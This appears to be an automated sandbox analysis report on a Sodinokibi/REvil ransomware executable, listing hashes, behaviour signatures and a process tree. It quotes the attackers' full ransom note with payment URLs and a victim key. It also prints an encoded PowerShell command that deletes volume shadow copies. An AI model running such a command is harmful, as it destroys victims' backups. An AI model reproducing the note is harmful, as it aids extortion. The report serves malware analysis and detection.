Analysis
-
max time kernel
35s -
max time network
50s -
platform
windows7_x64 -
resource
win7v200430 -
submitted
18-07-2020 22:55
General
-
Target
2c5748124b8609d1cf71a44d77177c9a92bca21f9d9be9c487fdaf6072500f15.bin.exe
-
Size
116KB
-
MD5
5b0a782e9b2bc71979e38ef7b2336c3a
-
SHA1
8e14c8062d9fada0f23d1be3cd1ae24437aef093
-
SHA256
2c5748124b8609d1cf71a44d77177c9a92bca21f9d9be9c487fdaf6072500f15
-
SHA512
cf1128c568a08ccdee2806c521e95de30a14d9747efbe50eaff76929c4d744c8ab7a1e592c91cf655a50eb43c63389a27990fab76a2c809585e1399163d3b549
Score
10/10
Malware Config
Extracted
Path
C:\ka0gata-readme.txt
Family
sodinokibi
Ransom Note
---=== Welcome. Again. ===---
[+] Whats Happen? [+]
Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension ka0gata.
By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).
[+] What guarantees? [+]
Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.
To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee.
If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money.
[+] How to get access on website? [+]
You have two ways:
1) [Recommended] Using a TOR browser!
a) Download and install TOR browser from this site: https://torproject.org/
b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B821AFD3010C9A3C
2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this:
a) Open your any browser (Chrome, Firefox, Opera, IE, Edge)
b) Open our secondary website: http://decryptor.cc/B821AFD3010C9A3C
Warning: secondary website can be blocked, thats why first variant much better and more available.
When you open our website, put the following data in the input form:
Key:
HwzoAcAtnJO8UJA3+Qu5pD77lGlW3J20An4fObkA//8CRKbhAU54+Y13nV5XhbhV
Jf3WrenssJDn1fNenaZNDzQMBoBMfrqaG7EFDQxC2rOLuKo4kPTTwRFO1WA/fTrX
y3529v0QMS8EEEMiAOf/OyIGe3IsWY7i5X5e1za4rvCn4kc5ENR25huyOvO7c10W
4BOZiugM7oTfx/TO2KmkIoAg78682d9KyBv9luBLgJ8lWYTezANMz6hDwQ/ctnyO
QpKIvYnt0InP7DAGPO/PZThGWefJDGe2CeLvXjC9ZWBD3Fbgfd56K9LxK8F8Mafl
5ysFqQMU454LPk3LXsxRpSibWI4L9986o8mfpf8cbMnRqIwr4A0+ES5SUDHEuLOs
Z50iD9p8CIv24RHX3bcRHyBo2s7rXzs4HT6rOSc2VA6ZFi5Kq/2oQk7rn90cGCsY
xIsLIewpahR6OSa7W1qFSuZfimr6zCMek0/Sp07ti9wQuj7StJ6wKjo3gMoMrEv2
Phi0e0BEI7edYGYIUFzddAMx6iKD4B8AV84cEeSCTDTojS/0kSARSKwTPM5n0MQS
Iwy8l3Ph2cg/j9Y7IRZHP5yUnRxIRJSDzQGaCDX1OQcV7RjuNE9bkkXQGmPVEBtA
AGF/SylWbk432/cS2zhvaKTRoxONngcc9XqFZdR8KRTr+ldpnkeZkvGrfsxWROUJ
53qW+Tk0Cm/g4KVtMYIHD6ugjuO5MuJ/kIsLuD0XiF2bGyxFA2kfHVK2ybl0tA3v
wnLvY3TtvK7SKiwSiDvcgsjcKrgY5KzeprCsUK+yswMp53bsOZ1fYxXjHcgkJg+9
5bmfPVUSz1He4Wad5tHa0KhO/Gw3MKIEPn/e+sBcEzkVUA/x/YO1wUYqse4xAsRG
CTv9Z4MVUCM+enp31448dvK4Tnib6pomaZEpAXHyp0AtLI+veT8tYbSlzIImB0W0
JKShlDNRQI65q8AkgDyPMBwXGoNGEJw1BhFKn3VRw5rALa4ilVWQ2xBubBpocDAq
KJ037VQKCSFQiUA0uBwesVYDj+yVFyoFSQ+Qpy/jsqogjgaRMmgDcLKSRcY6gbdS
//EMAJir6dLmzEROqgsx3AlsaepzMgcKTycG94r1RAtfINEbQXSVQOgAW3zVGZQa
HhiYfcj28BZHWama2YXR0OOSJzSiVteIXWLa5BVJfN9MTlWqxP0p4OXzh4jO/fT4
j7O1tRZJUHHFnFxZhUxKs9clgY3EfuC7wwshj8sH/Xaxg2eeGtddlhQQBXj5oXA9
G8YMOxehwxcI0nP+b0Y04TyX7mz9kYmPJ9ecq7UmCV3NjQ==
-----------------------------------------------------------------------------------------
!!! DANGER !!!
DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data.
!!! !!! !!!
ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere.
!!! !!! !!!
URLs
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B821AFD3010C9A3C
http://decryptor.cc/B821AFD3010C9A3C
Signatures
-
Suspicious use of WriteProcessMemory 4 IoCs
-
Enumerates connected drives 3 TTPs
-
Modifies service 2 TTPs 5 IoCs
-
Drops file in Program Files directory 34 IoCs
-
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Suspicious use of AdjustPrivilegeToken 6 IoCs
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2c5748124b8609d1cf71a44d77177c9a92bca21f9d9be9c487fdaf6072500f15.bin.exe"C:\Users\Admin\AppData\Local\Temp\2c5748124b8609d1cf71a44d77177c9a92bca21f9d9be9c487fdaf6072500f15.bin.exe"1⤵
- Suspicious use of WriteProcessMemory
- Drops file in Program Files directory
- Sets desktop wallpaper using registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken